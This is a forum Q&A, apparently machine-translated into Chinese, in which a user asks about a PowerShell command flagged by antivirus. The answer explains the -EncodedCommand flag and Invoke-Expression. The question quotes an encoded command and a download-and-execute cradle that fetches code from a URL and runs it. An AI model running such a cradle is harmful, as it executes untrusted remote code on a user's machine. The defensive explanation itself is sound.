可疑的 PowerShell 命令

Suspicious PowerShell Command

我的反病毒软件一直用下面提到的 powershell 命令提醒我。我对 Powershell 有点熟悉,但无法理解下面的 powershell 脚本的作用。同样最重要的是我想知道命令行中使用的“-e”参数是什么

可疑命令行:

powershell -e sqbfafgakaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqbl

可疑脚本:

IEX(New-Object Net.WebClient).DownloadString('https://example.org/xmpsdh')

至于脚本:

IEX((New-Object Net.WebClient).DownloadString('https://example.org/xmpsdh')) 从给定的 URL 下载 字符串 并尝试 将其作为 PowerShell 命令执行 ,通过 IEX,(通常是 to be avoided) Invoke-Expression cmdlet 的内置别名。

换句话说:它从网站下载未知的 PowerShell 命令并执行它们。


至于命令行

-ePowerShell CLI's -EncodedCommand parameter, which accepts commands as Base64 编码字符串的缩写 .

此参数的目的是实现复杂命令字符串的稳健传递,而不会 运行 引起引用和转义问题。

但是,恶意软件使用该参数作为混淆技术:您无法轻易分辨出命令在做什么。


示例:

# -e is short for -EncodedCommand
powershell -e RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA

相当于:

powershell -Command "Get-Date -Format yyyy"

您可以解码给定的 Base64 编码参数,如下所示:

$base64 = 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
# -> 'Get-Date -Format yyyy'
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64))

相反,如果您想 Base64-encode 一个字符串 -EncodedCommand:

$command = 'Get-Date -Format yyyy'
# -> 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))